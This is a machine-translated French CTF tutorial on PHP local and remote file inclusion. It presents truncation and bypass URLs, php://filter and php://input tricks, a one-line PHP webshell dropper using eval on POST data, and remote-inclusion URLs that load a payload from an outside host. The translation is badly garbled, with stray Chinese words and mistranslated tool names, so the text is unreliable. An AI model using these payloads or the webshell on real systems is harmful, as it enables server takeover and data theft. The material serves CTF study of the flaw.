Vulnérabilités d'Inclusion de fichiers
Fichier contient l'introduction
Les développeurs d'applications dans le processus d'écriture d'un programme, ne pas écrire comme à plusieurs reprises un même code, de sorte que le code nécessite généralement l'utilisation répétée d'un seul document écrit, lorsque vous voulez utiliser appeler directement le fichier, non la nécessité de ré-écrire, appeler ce processus est appelé contient. Nous avons besoin d'appeler un fichier et ils seront par le fichier de référence de la fonction PHP, si le nom de fichier n'est pas adopté à temps après une vérification raisonnable, opérant ainsi un fichier autre que prévu, il se traduira par la divulgation de fichiers inattendu ou même malveillant injection code
Fonction de danger
fonction PHP dans le fichier qui contient la vulnérabilité des plus courantes sont les quatre suivantes:
require()
require_once()
include()
include_once()
Lors de l'utilisation de ces fonctions comprennent un nouveau fichier, aussi longtemps que le contenu du fichier correspond à la syntaxe de PHP, puis développez un nom de fichier peut être analysé comme PHP, tels que le téléchargement d'un txt./ jpg contient du code malveillant. Les fichiers seront fichier PHP est traité comme l'exécution.
classification
Fichier local contient
- Drapeau lire directement des fichiers sur la machine cible
Remote File Inclusion
- Sur le get webshell, voir serveur tiers désigné qui peut exécuter PHP les chevaux de Troie, le fichier de drapeau
idées de résolution de problèmes
Voir le fichier php.ini de configuration globale de
allow_url_fopen = on/off
allow_url_include = on/off
Seuls ces deux ne sont ouverts quand il y a un fichier distant contenant
Fichier local contient
fichier direct contient drapeau
Drapeau en lisant le code PHP pseudo-protocole
PHP entrant cheval de Troie get webshell, get drapeau
fichier direct contient drapeau
00% coupe
Terminator: \ x00 ->% 00
longueur du trajet tronqué
La longueur maximale du répertoire sous Windows 256 octets, l'excédent sera mis au rebut, répertoire sous la longueur maximale Linux de 4096 octets, l'excédent sera mis au rebut. exemple:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
Aucun point de coupure
OS Windows, le nombre de points doivent être plus longue que 256
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
PHP pseudo-protocole
- file: // - l'accès au système de fichiers local
- php: // - Pour accéder aux différentes bornes d'entrée et flux de sortie
fichier://
Utilisation: file: // [chemin absolu et le nom du fichier du fichier]
条件 (php.ini): allow_url_fopen = off / on allow_url_include = off / on
php: // filter
utilisation:
?filename=php://filter/convert.base64-encode/resource=xxx.php
条件 (php.ini): allow_url_fopen = off / on allow_url_include = off / on
PHP entrant cheval de Troie get webshell, get drapeau
php: // input
Utilisation File = php :?: // données d'entrée en utilisant la passe POST dans le passé
条件 (php.ini): allow_url_fopen = off / on allow_url_include = on
fichier cheval de Troie (de shell.php)
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
Couteau de cuisine / épée connexion fourmi
Remote File Inclusion
Passer par la marque de question
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
# No. by-pass
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
by-pass de 20%
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20